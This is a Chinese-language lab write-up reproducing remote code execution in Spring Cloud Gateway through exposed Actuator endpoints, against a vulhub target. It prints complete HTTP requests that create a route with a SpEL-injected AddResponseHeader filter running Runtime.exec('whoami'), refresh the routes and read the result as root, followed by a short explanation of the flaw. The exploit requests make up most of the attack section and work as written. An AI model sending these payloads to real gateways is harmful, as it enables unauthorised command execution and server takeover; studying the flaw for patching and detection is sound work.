目录
简介
Actuator操作Gateway接口列表
复现流程
漏洞复现
简单原理
Spring Boot Actuator 和 Spring Cloud Gateway 是 Spring 生态系统中的两个关键组件,它们在微服务架构中扮演着不同的角色,下面简要介绍它们之间的关系:
Spring Boot Actuator:
Spring Cloud Gateway:
关系:
1、启动Spring Cloud Gateway服务
2、添加过滤器(POST)
3、刷新过滤器(POST)
4、访问过滤器ID(GET)
先vulhub搭建靶场
先创建路由(过滤器)
POST /actuator/gateway/routes/Z3r4y HTTP/1.1
Host: 124.222.136.33:8082
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330
{
"id": "Z3r4y",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
再刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 124.222.136.33:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947+gzip"
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Z3r4y=111
最后访问该恶意路由
GET /actuator/gateway/routes/Z3r4y HTTP/1.1
Host: 124.222.136.33:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
可以看到whoami成功执行(root)
1、开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes
2、可以通过/gateway/routes/{id_route_to_create}创建路由
3、通过/actuator/gateway/refresh刷新路由
4、当路由带有恶意的Filter,里面的spEL表达式会被执行